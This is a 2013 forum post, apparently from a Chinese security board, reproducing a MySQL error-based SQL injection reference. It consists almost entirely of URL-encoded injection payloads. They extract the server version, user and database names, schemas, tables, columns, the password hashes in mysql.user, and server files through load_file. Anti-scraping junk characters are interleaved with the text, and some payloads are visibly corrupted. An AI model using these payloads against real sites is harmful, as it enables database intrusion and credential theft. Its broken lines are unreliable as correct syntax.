Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
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Mysql暴错注入参考（pdf），每天一贴。。。
% N7 l1 G, S" E+ y  V
MySql Error Based Injection Reference
[Mysql暴错注入参考]
  Q! d8 @' ?* L5 q! C- PAuthornig0s1992
! A6 F( o3 D. a4 ]* wBlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
8 l9 u. ]8 G- [! ^8 Z$ Q, M* a# W- GMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
# t3 g1 b( G& a. Q9 @join+(select+name_const(@@version,0))b)c)
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
& E. B( e) z  [, vup by a)b)
查询当前用户:
: d9 [, `" K* J$ _# b9 l4 rMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
% v7 [% x" b* N7 y% vMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
( s6 [( d0 h7 C$ c/ C* l查询当前数据库:
/ d" n0 H6 A9 d, U# e. uMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' [& a) y: G& e. J  r! PLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
3 x* s$ R& p0 ]1 D爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 t) a' f9 q2 M: ?+ x依次爆表:
; l9 M. |8 r1 M! ?- a1 Xand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
: f% s; J/ Y  \! W3 n6 C8 Zable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
2 \1 _5 P% L9 A, ?8 _  T1 Nbles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
/ N0 F8 T% y; I) @1 \爆表内字段数目:
3 P  E1 I* L1 B; {and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
; Q' V( I/ R- pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
% N3 ?$ M1 U4 m" \" zloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
' ]$ q+ U! U) }* _( C% Z将n顺序替换
爆文件内容:
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
2 z9 S/ \+ \+ L7 K0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. P) Z# I) A  F- `! {0 h4 UThx for reading.

/ c0 a" R' R! `. F5 W不要下载也可以，